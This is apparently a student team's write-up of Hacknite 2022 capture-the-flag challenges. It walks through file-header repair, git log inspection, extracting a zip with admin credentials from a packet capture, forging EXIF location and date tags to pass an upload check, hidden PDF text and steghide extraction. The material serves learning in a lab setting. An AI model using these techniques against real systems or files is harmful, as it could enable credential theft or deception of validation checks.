We were given a zip file. The main goal was to extract the flag. We tried a few different approaches, mainly binwalk-ing the file, but with no success. After some brainstorming, we decided to open the file with a hex editor.

$ hexyl flag.zip
│00000000│ 50 4b 03 04 0d 0a 1a 0a ┊ 00 00 00 0d 49 48 44 52 │PK••__•_┊000_IHDR│
│00000010│ 00 00 06 6a 00 00 02 4a ┊ 08 06 00 00 00 2c a7 1a │00•j00•J┊••000,ו│
│00000020│ cb 00 00 00 01 73 52 47 ┊ 42 00 ae ce 1c e9 00 00 │×000•sRG┊B0×ו×00│
│00000030│ 00 04 67 41 4d 41 00 00 ┊ b1 8f 0b fc 61 05 00 00 │0•gAMA00┊×ו×a•00│
│00000040│ 00 09 70 48 59 73 00 00 ┊ 12 74 00 00 12 74 01 de │0_pHYs00┊•t00•t•×│
│00000050│ 66 1f 78 00 00 3b 82 49 ┊ 44 41 54 78 5e ed dd 0b │f•x00;×I┊DATx^×ו│
│00000060│ 62 9b 48 16 05 50 3c cb ┊ 31 5e 4e 50 96 23 b4 9c │b×H••P<×┊1^NP×#××│
│00000070│ 48 5e 8e f0 76 34 85 2c ┊ a7 9d 44 b6 0a 09 78 7c │H^××v4×,┊××D×__x|│
│00000080│ ce 99 a1 db 9d ee c4 e2 ┊ 53 cf 55 5c a8 7a 3a 25 │××××××××┊S×U\×z:%│


│00003bb0│ 08 22 a8 01 00 00 00 00 ┊ 00 08 22 a8 01 00 00 00 │•"ו0000┊0•"ו000│
│00003bc0│ 00 00 08 22 a8 01 00 00 ┊ 00 00 00 08 22 a8 01 00 │00•"ו00┊000•"ו0│
│00003bd0│ 00 00 00 00 08 51 14 ff ┊ 07 9c f9 3f c0 26 55 d5 │0000•Q•×┊•××?×&U×│
│00003be0│ 81 00 00 00 00 49 45 4e ┊ 44 ae 42 60 82          │×0000IEN┊D×B`×   │

We noticed some interesting headers when viewing the hex codes. Mainly IHDR and IEN reminded us of a png file. We only knew that there was something missing, so we corrected the beginning of the file and changed the file type.


The new hex-dump:

$ hexyl flag.png
│00000000│ 89 50 4e 47 0d 0a 1a 0a ┊ 00 00 00 0d 49 48 44 52 │×PNG__•_┊000_IHDR│
│00000010│ 00 00 06 6a 00 00 02 4a ┊ 08 06 00 00 00 2c a7 1a │00•j00•J┊••000,ו│
│00000020│ cb 00 00 00 01 73 52 47 ┊ 42 00 ae ce 1c e9 00 00 │×000•sRG┊B0×ו×00│
│00000030│ 00 04 67 41 4d 41 00 00 ┊ b1 8f 0b fc 61 05 00 00 │0•gAMA00┊×ו×a•00│
│00000040│ 00 09 70 48 59 73 00 00 ┊ 12 74 00 00 12 74 01 de │0_pHYs00┊•t00•t•×│
│00000050│ 66 1f 78 00 00 3b 82 49 ┊ 44 41 54 78 5e ed dd 0b │f•x00;×I┊DATx^×ו│
│00000060│ 62 9b 48 16 05 50 3c cb ┊ 31 5e 4e 50 96 23 b4 9c │b×H••P<×┊1^NP×#××│
│00000070│ 48 5e 8e f0 76 34 85 2c ┊ a7 9d 44 b6 0a 09 78 7c │H^××v4×,┊××D×__x|│
│00000080│ ce 99 a1 db 9d ee c4 e2 ┊ 53 cf 55 5c a8 7a 3a 25 │××××××××┊S×U\×z:%│


│00003bb0│ 08 22 a8 01 00 00 00 00 ┊ 00 08 22 a8 01 00 00 00 │•"ו0000┊0•"ו000│
│00003bc0│ 00 00 08 22 a8 01 00 00 ┊ 00 00 00 08 22 a8 01 00 │00•"ו00┊000•"ו0│
│00003bd0│ 00 00 00 00 08 51 14 ff ┊ 07 9c f9 3f c0 26 55 d5 │0000•Q•×┊•××?×&U×│
│00003be0│ 81 00 00 00 00 49 45 4e ┊ 44 ae 42 60 82          │×0000IEN┊D×B`×   │

Once we opened the .png we could see the flag: CTF2022[240321562375]

Kriv je commit - 40 points

You can just unzip the file and inspect the git logs. I used LazyGit for this, but anything should work.


Exploring the commits, we quickly find the flag.


Flag: CTF2022[169784052970]

Mrežni morski pas - 70 points

We are given a wireshark.pcap file. Opening it up in Wireshark, we see a bunch of HTTP and TCP requests.

wireshark image

Request No. 32 is the interesting one, because it is a POST request to user.php, with a filename of bitno.zip. We can right-click on the MIME Multipart Media Encapsulation tab, select “Export Packet Bytes”, and then save it to a dump.zip file.

After that, I just opened up the file in Vim, deleted the HTTP stuff like headers, which left me with a binary blob starting with the zip magic bytes (“PK..”).

Pcap dump

Then we just have to unzip dump.zip to get the included bitno.txt, which contains the admin login info.

$ unzip dump.zip
Archive:  dump.zip
  inflating: bitno.txt

$ cat bitno.txt

We are given the flag as soon as we log into the admin account on the website.


Flag: CTF2022[849780055700]


Emoji jezik - 40 points

We received a .txt containing emojis:



The task name lead us to believe this was some kind of esolang. It was easy to find Emoji Gramming. Using the included interpreter we got a part of the flag.

$python inter.py
📁 : /home/administrator/Downloads
💻 ➡️ secret(1).txt
CTF2022[02373💻   🔚

The other part of the flag was obtained by binary decoding (replace 🌚 with 0 and 🌝 with 1):


The flag: CTF2022[023731785915]

Tajni klub - 70 points

We were given a site where you could load images.

Tajni klub

The site mentions that the image has to be from the North Pole and taken on 25.06.2022. We suspected that we would have to edit Exif Tags of a jpeg image. Firstly we downloaded an image from the internet.

Exif Tags of our original image:

$ exiftool test.jpeg
ExifTool Version Number         : 12.44
File Name                       : test.jpeg
Directory                       : .
File Size                       : 3.8 kB
File Modification Date/Time     : 2022:10:16 16:33:11+02:00
File Access Date/Time           : 2022:10:16 16:33:12+02:00
File Inode Change Date/Time     : 2022:10:16 16:33:11+02:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 318
Image Height                    : 159
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 318x159
Megapixels                      : 0.051

Then we used a website called theXifier. We then changed the data:

Tajni klub 2

Tajni klub 3

Exif Tags of our modified image:

$ exiftool test(2).jpeg
ExifTool Version Number         : 12.44
File Name                       : test(2).jpeg
Directory                       : .
File Size                       : 7.2 kB
File Modification Date/Time     : 2022:10:16 16:48:11+02:00
File Access Date/Time           : 2022:10:16 16:48:11+02:00
File Inode Change Date/Time     : 2022:10:16 16:48:11+02:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
X Resolution                    : 1
Y Resolution                    : 1
Exif Byte Order                 : Big-endian (Motorola, MM)
Resolution Unit                 : None
Modify Date                     : 2022:06:25 16:43:54
Y Cb Cr Positioning             : Centered
Exif Version                    : 0232
Date/Time Original              : 2022:06:25 16:43:54
Create Date                     : 2022:06:25 16:43:54
Components Configuration        : Y, Cb, Cr, -
Flashpix Version                : 0100
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Date Stamp                  : 2022:12:16
XMP Toolkit                     : Image::ExifTool 12.29
First Photo Date                : 2022:06:25 16:43:54
Last Photo Date                 : 2022:06:25 16:43:54
Date Created                    : 2022:06:25 16:43:54
Image Width                     : 318
Image Height                    : 159
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 318x159
Megapixels                      : 0.051
GPS Latitude                    : 90 deg 0` 0.00`` N
GPS Longitude                   : 0 deg 0` 0.00`` E
GPS Position                    : 90 deg 0` 0.00`` N, 0 deg 0` 0.00`` E

After we uploaded the image we received the flag: CTF2022[936336233954]


Samo logo? - 40 points

This task was very simple. We were given a pdf with the Hacknite3.0 logo. We started searching around the pdf and quickly found the flag, which was represented as white text on a white background.

Samo Logo

As you can see we could select the text and copy it.

The flag: CTF2022[593104585955]

Photoshop - 50 points

Since the category is called steganography we immediately began trying to extract files from the image. Our go-to tool for this is a website called Aperi’solve

Photoshop 1

We could immediately see the flag inside the photo.

Photoshop 2

The flag: CTF2022[521486390897]

Rezbarenje - 60 points

We were provided with logo.jpeg


We started tinkering with the file.

$ steghide extract -sf logo.jpeg
Enter passphrase:
steghide: could not extract any data with that passphrase!

The main problem was that we could not run steghide because we did not have the password. We began searching for it. Once we ran strings on the file we got everything we need.

$ strings logo.jpeg
n       9;#


 Ovdje nema flaga, ali postoji lozinka: bCK2ztwTbdye4UF

Then we could run steghide and extract the flag.

$ steghide extract -sf logo.jpeg
Enter passphrase:
wrote extracted data to "flag".

Then we could just read the flag: CTF2022[452634782959]

Summary - our experience

This is our second time competing on Hacknite. We have only good experiences on Hacknite. Last year we were a bit new to the whole cybersecurity scene, but we were prepared this year. We really like the CTF nature of the competition and we would be more than happy to participate on a similar competition if CARNET decides to host it for students (since we are no longer highschoolers next year). The only thing we missed that was present last year, but not this year were SQL Injections. We think they are a big part of web exploitation (at least in the past).

We are also really happy with our results this year since this is our first year of competing with the goal of winning.